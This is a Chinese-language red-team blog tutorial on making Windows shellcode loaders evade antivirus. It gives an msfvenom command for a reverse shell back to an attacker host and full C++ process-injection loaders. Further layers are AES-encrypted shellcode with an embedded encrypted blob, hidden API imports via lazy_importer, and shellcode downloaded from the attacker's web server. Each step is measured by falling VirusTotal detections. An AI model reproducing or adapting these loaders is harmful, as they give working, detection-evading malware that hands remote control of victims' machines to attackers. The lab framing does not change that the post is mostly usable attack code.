免殺筆記之 aes 加 lazy_importer 加 shellcode 分離
0x00 前言
今天寫一篇靜態免殺的文章。思路來自于:
https://captmeelo.com/redteam/maldev/2021/12/15/lazy-maldev.html
核心是 AES 加密 shellcode + lazy_importer 去符號+shellcode 分離。
0x01 準備
vs2019 開發
Kali(攻擊機):192.168.94.141
win10(受害機):192.168.94.128
今天用到的工具是:CFF Explorer
這里會用到進程注入的知識,如果你之前沒有了解過的話,可以去我之前的文章看一下:https://fengwenhua.top/index.php/archives/65/
先在 kali 上用 msf 生成 shellcode:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.94.141 LPORT=1234-f c -b \x00\x0a\x0d

然后用 nc 開始監聽 1234 端口

0x02 裸奔
開局直接進程注入,不多說了
#define _CRT_SECURE_NO_DEPRECATE
#include"Windows.h"
#include"stdio.h"
int main(int argc,char* argv[])
{
unsignedchar buf[]="msf生成的shellcode";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
printf("Injecting to PID: %i", atoi(argv[1]));
processHandle =OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer =VirtualAllocEx(processHandle, NULL,sizeof buf,(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, buf,sizeof buf, NULL);
remoteThread =CreateRemoteThread(processHandle, NULL,0,(LPTHREAD_START_ROUTINE)remoteBuffer, NULL,0, NULL);
CloseHandle(processHandle);
return0;
}
vs 選擇配置和平臺,然后生成解決方案

比如我們想要注入到 explorer.exe 中,對應的 PID 是 6244,如下:

過一會,kali就收到了反彈shell了。

現在我們上傳到 VT 上,看看效果怎么樣,其實想想就知道,肯定慘不忍睹,畢竟是 msf 生成的 shellcode。。肯定早就被扒光了。。
但我沒想到,還有這么多沒有檢測出來的。。。可能是因為我的程序是x64的?

其實整個 shellcode 加載代碼里面,無非就兩部分檢測點,一個是 shellcode,還有一個就是一些敏感函數了。
所以我們可以對這兩部分做一下處理,期望能夠繞過檢測。
0x03 對 shellcode 進行處理
分析
想驗證檢測點是不是在 shellcode 處,很簡單,把 shellcode 清空,然后重新上傳vt


可以看到,足足少了4個,因此證明 AV 確實會檢測 shellcode。所以下面開始用 AES 加密 shellcode ,期望繞過這些檢測 shellcode 的 AV。
AES 加解密
tiny-aes(不可用)
注意:下面列出的,前面兩個庫都要自己處理 padding 的問題。。。我是后面才發現的。。不過,不影響整體思路。第三個庫我沒有測。。
對于 c/c++ 來說,AES加解密的開源庫一大堆:
- SergeyBel/AES
- kokke/tiny-AES-c
- kkAyataka/plusaes
這里為了方便,直接用 kokke/tiny-AES-c 這個庫。打開對應的 Github 倉庫,把下圖的三個文件下載下來,放到我們的 vs 項目上。


這個庫默認使用 AES128 的,我們可以修改aes.h,讓其使用 AES256

這個庫的用法也很簡單。首先把頭文件包含進來,#include "aes.hpp",然后加解密方法如下:
#include"aes.hpp" // 提前定義key和iv unsignedchar key[]="16的倍數位的key"; unsignedchar iv[]="16位的偏移量"; // 聲明這個庫要求的 aes 結構體 struct AES_ctx ctx; // 初始化 AES_init_ctx_iv(&ctx, key, iv); // 加密,加密后的結果存放在“加密的內容”處 AES_CBC_encrypt_buffer(&ctx,加密的內容,加密的內容大小); // 解密,解密后的結果存放在“要解密的內容”處 AES_CBC_decrypt_buffer(&ctx,要解密的內容,要解密的內容大小);
這里為了方便,直接在相同的項目下操作,但是一個項目不能搞兩個 main 方法,所以,先把原先的給排除了,如下:

然后直接新建一個encrypt_shellcode.cpp,代碼如下,得到加密后的shellcode:
#define _CRT_SECURE_NO_DEPRECATE
#include"Windows.h"
#include"stdio.h"
#include"aes.hpp"
int main(int argc,char* argv[])
{
unsignedchar buf[]="msf生成的shellcode";
SIZE_T bufSize =sizeof(buf);
unsignedchar key[]="fengwenhuafengwenhuafengwenhua.";
unsignedchar iv[]="\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01";
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_encrypt_buffer(&ctx, buf, bufSize);
printf("Encrypted buffer:");
printf("unsigned char buf[] =");
int count =0;
for(int i =0; i < bufSize -1; i++){
if(count ==0){
printf("\"");
}
printf("\\x%02x", buf[i]);
count++;
if(count ==15){
printf("\"");
count =0;
}
}
printf("\";");
system("pause");
return0;
}

然后修改原來的cpp,替換原來的shellcode,加入解密方法,如下:
#define _CRT_SECURE_NO_DEPRECATE
#include"Windows.h"
#include"stdio.h"
#include"aes.hpp"
int main(int argc,char* argv[])
{
unsignedchar buf[]="aes解密后的shellcode";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
// 解密shellcode
SIZE_T bufSize =sizeof(buf);
unsignedchar key[]="fengwenhuafengwenhuafengwenhua.";
unsignedchar iv[]="\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01";
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_decrypt_buffer(&ctx, buf, bufSize);
printf("Injecting to PID: %i", atoi(argv[1]));
processHandle =OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer =VirtualAllocEx(processHandle, NULL,sizeof buf,(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, buf,sizeof buf, NULL);
remoteThread =CreateRemoteThread(processHandle, NULL,0,(LPTHREAD_START_ROUTINE)remoteBuffer, NULL,0, NULL);
CloseHandle(processHandle);
return0;
}
記得encrypt_shellcode.cpp從生成中排除,lazy_importer.cpp,從生成中排除選“否”

然后重新生成解決方案,kali重新監聽 1234,執行如下:


ok,成功執行。上傳到 vt 看看效果:

可以看到,對比裸奔的情況,少了一半檢測率。
但后來我發現,并不是每次都能成功,然后我就開始瘋狂的排查,最后發現,同樣的內容,加密后解密,和之前不一樣!!!!然后我開始瘋狂的對比加解密后的內容。
后經過一段時間的查找,終于發現,這玩意要自己寫 padding。。。因為msf生成的shellcode不一定是16的整數倍,所以就導致加解密的時候出問題了。。。
https://captmeelo.com/redteam/maldev/2021/12/15/lazy-maldev.html 這個作者里面的msf生成的shellcode 剛剛好是16的整數倍,這你敢信???

這個庫不行,于是我又嘗試了 SergeyBel/AES 這個庫。又嘗試了半天,還是padding的問題。
別人實現的AES
最后,沒錯,我懶得自己寫 padding,于是百度,直接嫖別人的用:
https://blog.csdn.net/witto_sdy/article/details/83375999
按照博客里面的,在 vs 中新建好文件就行

在丟到lazy_importer.cpp中運行之前,我先新建了一個encrypt_shellcode.cpp,在里面對 shellcode 進行 aes 加密

運行得到結果加密后的 shellcode 之后,然后丟到lazy_importer.cpp中解密就行,如下:

后面的操作就和上一小節相同,這里不再講了。
0x04 對敏感函數進行處理
分析
此時,我們用 CFF Explorer 打開我們 aes 加密 shellcode 的程序,可以看到 IAT 那里,調用了一堆的敏感函數(OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread and CloseHandle),這些肯定是 AV 必定檢查的地方。

所以我們的應對辦法就是,要么換別的同樣效果的函數,要么就想辦法把這些調用痕跡清除掉。
lazy_importer
這里用到的就是開源庫 JustasMasiulis/lazy_importer ,同樣地,下載下來,導入vs項目

用法也是超級簡單,先 include 進來,然后把原來函數改成LI_FN(原來函數)就行,修改如下:
需要把所有的NULL改成nullptr
#define _CRT_SECURE_NO_DEPRECATE
#include"Windows.h"
#include"stdio.h"
#include"lazy_importer.hpp"
#define BUF_SIZE 4096
#include
#include"AES.h"
#include"Base64.h"
usingnamespace std;
constchar g_key[17]="asdfwetyhjuytrfd";
constchar g_iv[17]="gfdertfghjkuyrtg";//ECB MODE不需要關心chain,可以填空
string EncryptionAES(const string& strSrc)//AES加密
{
size_t length = strSrc.length();
int block_num = length / BLOCK_SIZE +1;
//明文
char* szDataIn =newchar[block_num * BLOCK_SIZE +1];
memset(szDataIn,0x00, block_num * BLOCK_SIZE +1);
strcpy(szDataIn, strSrc.c_str());
//進行PKCS7Padding填充。
int k = length % BLOCK_SIZE;
int j = length / BLOCK_SIZE;
int padding = BLOCK_SIZE - k;
for(int i =0; i < padding; i++)
{
szDataIn[j * BLOCK_SIZE + k + i]= padding;
}
szDataIn[block_num * BLOCK_SIZE]='\0';
//加密后的密文
char* szDataOut =newchar[block_num * BLOCK_SIZE +1];
memset(szDataOut,0, block_num * BLOCK_SIZE +1);
//進行進行AES的CBC模式加密
AES aes;
aes.MakeKey(g_key, g_iv,16,16);
aes.Encrypt(szDataIn, szDataOut, block_num * BLOCK_SIZE, AES::CBC);
string str = base64_encode((unsignedchar*)szDataOut,
block_num * BLOCK_SIZE);
delete[] szDataIn;
delete[] szDataOut;
return str;
}
string DecryptionAES(const string& strSrc)//AES解密
{
string strData = base64_decode(strSrc);
size_t length = strData.length();
//密文
char* szDataIn =newchar[length +1];
memcpy(szDataIn, strData.c_str(), length +1);
//明文
char* szDataOut =newchar[length +1];
memcpy(szDataOut, strData.c_str(), length +1);
//進行AES的CBC模式解密
AES aes;
aes.MakeKey(g_key, g_iv,16,16);
aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);
//去PKCS7Padding填充
if(0x00< szDataOut[length -1]<=0x16)
{
int tmp = szDataOut[length -1];
for(int i = length -1; i >= length - tmp; i--)
{
if(szDataOut[i]!= tmp)
{
memset(szDataOut,0, length);
cout <<"去填充失敗!解密出錯!!"<< endl;
break;
}
else
szDataOut[i]=0;
}
}
string strDest(szDataOut);
delete[] szDataIn;
delete[] szDataOut;
return strDest;
}
int main(int argc,char* argv[])
{
// 加密后的shellcode
char buf[BUF_SIZE]="I8mLz2JN2G9JVrrDFi7LtccqhCU7uccBqZwB4PvkF7N+5iCaKiJR+LYI391ZFJS6ieyEDFLCaEnV6A0zq+P1uyW6HKEEaF4E9FRztJuTLhiukABcgx0z0b9IeGWPLjRS+QywJoEpMZJtJwIDCiF+NRme/Y56ZUZtR2VKf2ZbjndrGmtVlNlWgG1+3noUS+fOqeW+EzflCLQl+ysXmBsaFXunsxpQGiYt2D6nuZ6ZWitp2HnGo/XdpKyOp6EXV5DczC5MOJQWDrog2nATb3uEibBV17OIldHyfTnAENOFMnI0H3L/Rg8oaBKC/Ab0ZVWtlerqfNwxeozb81c6KMfnFsEzxX2Bx1ZYU4LCJfkkAmDfZzDYuko/h7fbuf+9tnjOhsIF3v7Vlf0YVfkb4Spzrg/Ze9BqGU0He9aUpStXvJhTDuQQAOlXxexkK5Ve50T15fGh3VjfairouotBjLPvrRJI7pP821ZAxFJO2mZGwNDJrM8Bhw9+7Ia+bz9V6mMwKmnHwZixT1HKrYnPx68kVWrgWIE3bTUfYYl4RHSerCLT0fBTK+fQg8QEDnMDZJEkR/lbtg7dy4Mxvdo5Bct6dQsg8NymqQRZ2QAM8MgzbxbeozLYKx+s1n5pmxnVY9btuOFWXfWl5+sP49PnExHb8x4SFU0WamL/ChasjDxyQ7jA2u/ezxhFjKW8AsUGxMF5bdXJnY/I5373nCt+Sl2a6q80CFYzZ7IbipLhtBAwUlbURS5hZ/dXcRI8BXsOhcBhglCjCGA0gjO7W7Cp7Icbet+dhYsrhXq+0R0IkrQ6Q5e/gA9AVP60C8aKxLYyeumedE0M9bcg8w6gDwCGsQ9xMzn97sDuqxR0a5a0OT81Veqqp+HQZ9OBiqusDg6eX/mry32sWdgHGemMS9q4F8GX7yd4amxcnfBwJn7n+6E96GBTlF6QzRMfsol5QG0oEF/QvNZGYz3L6ALme8YW6/6U6NznUEFj+Fcg/tivRuX83VDWMP4OW2qydM7kIHY/RXWTDO912FdiBdDbIniVE+q/RQL8UY9W+OqcUm2+P91QSlUGY+CEm14JGbbneMxHoIBMUX9EigHNiHldTzhjA2Vzfsh4DpEU164xK8HrXmnoya0wvAt36MBpidTksvOjzUhLynPkarjK+cYtxxSUpTkQFP+g/Umfx0k7wWp1EIemssWBx51TiOKvZUFxS36q0tddR4CxFIZ1yTYGswyHnj6ffhoGtCpG1/RVy2Hw22Abl0YoeEzG3QM5TyknLGILspCb+zULv/jgGVmK17CBq00dNcHiT1s79l3ek893nzoif4EdBpEqayyczbbuymPfq2Bx";
// 解密shellcode
string strbuf =DecryptionAES(buf);
//cout << "解密后shellcode:" << strbuf << endl;
char buff[BUF_SIZE]={0};
for(int i =0; i < strbuf.length(); i++){
buff[i]= strbuf[i];
}
// shellcode 處理,兩個兩個一起,還原成 \x00 的樣子
char* p = buff;
unsignedchar* shellcode =(unsignedchar*)calloc(strlen(buff)/2,sizeof(unsignedchar));
for(size_t i =0; i < strlen(buff)/2; i++){
sscanf(p,"%2hhx",&shellcode[i]);
p +=2;
}
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
SIZE_T bufSize = strlen(buff)/2;
//printf("Decrypted buffer:");
//for (int i = 0; i < bufSize; i++) {
// printf("\\x%02x", shellcode[i]);
//}
printf("Injecting to PID: %i", atoi(argv[1]));
processHandle = LI_FN(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
//processHandle = LI_FN(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, DWORD(2052));
remoteBuffer = LI_FN(VirtualAllocEx)(processHandle,nullptr, bufSize,(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
LI_FN(WriteProcessMemory)(processHandle, remoteBuffer, shellcode, bufSize,nullptr);
remoteThread = LI_FN(CreateRemoteThread)(processHandle,nullptr,0,(LPTHREAD_START_ROUTINE)remoteBuffer,nullptr,0,nullptr);
LI_FN(CloseHandle)(processHandle);
return0;
}
可以正常上線:


再用CFF Explorer 看一下,發現已經看不到了。

丟給 vt ,不錯,又少了1個

syscall
除了用 lazy_importer ,還可以看看 syscall,本來想寫(shui)一篇 syscall 的文章,但是發現有師傅已經寫得很好了:
http://ryze-t.com/posts/2021/12/01/%E6%B5%85%E8%B0%88-Syscall.html
所以這里就不獻丑了。有興趣的小伙伴可以自己去看看,改改,我這里就不搞了。
0x05 分離shellcode
在前文中,我們對 shellcode 進行了 AES256 的加密,又使用 lazy_importer 清除了敏感函數調用的痕跡。現在 vt 還有5個報毒,所以這小節,我們再嘗試一下 分離 shellcode ,看看能不能再降低 vt 檢測率。
這里直接嫖
https://blog.csdn.net/lgh1700/article/details/7713516
中讀取網絡 url 文件內容的代碼,當然,要簡單修改一下
#include
#include
#pragma comment(lib,"wininet.lib")
#define BUF_SIZE 1024
LPSTR GetInterNetURLText(LPSTR lpcInterNetURL,unsignedchar* buff);
LPSTR GetInterNetURLText(LPSTR lpcInterNetURL,unsignedchar* buff)
{
HINTERNET hSession;
LPSTR lpResult = NULL;
// 這里把 "WinInet" 改成 _T("WinInet")
hSession =InternetOpen(_T("WinInet"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL,0);
__try
{
if(hSession != NULL)
{
HINTERNET hRequest;
hRequest =InternetOpenUrlA(hSession,lpcInterNetURL, NULL,0, INTERNET_FLAG_RELOAD,0);
__try
{
if(hRequest != NULL)
{
DWORD dwBytesRead;
char szBuffer[BUF_SIZE]={0};
if(InternetReadFile(hRequest, szBuffer, BUF_SIZE,&dwBytesRead))
{
RtlMoveMemory(buff, szBuffer, BUF_SIZE);
return0;
}
}
}__finally
{
InternetCloseHandle(hRequest);
}
}
}__finally
{
InternetCloseHandle(hSession);
}
return lpResult;
}
調用如下:
//遠程獲取加密shellcode
char buf[BUF_SIZE]={0};
char url[MAX_PATH]="http://192.168.94.141:8000/buf.txt";
GetInterNetURLText(url, buf);
kali 機器開啟一個web服務,然后運行代碼:



同理,丟到vt上,不錯,又少了兩個。

0x06 后言
其實思路還有很多的,比如我一般用HeapAlloc代替VirtualAlloc,如果target不是某數字殺軟,我還有加vmp殼等等。由于篇幅原因,以后有機會我們慢慢聊。
至此,本次分享到此結束。分享中用到的代碼,我已經上傳 github: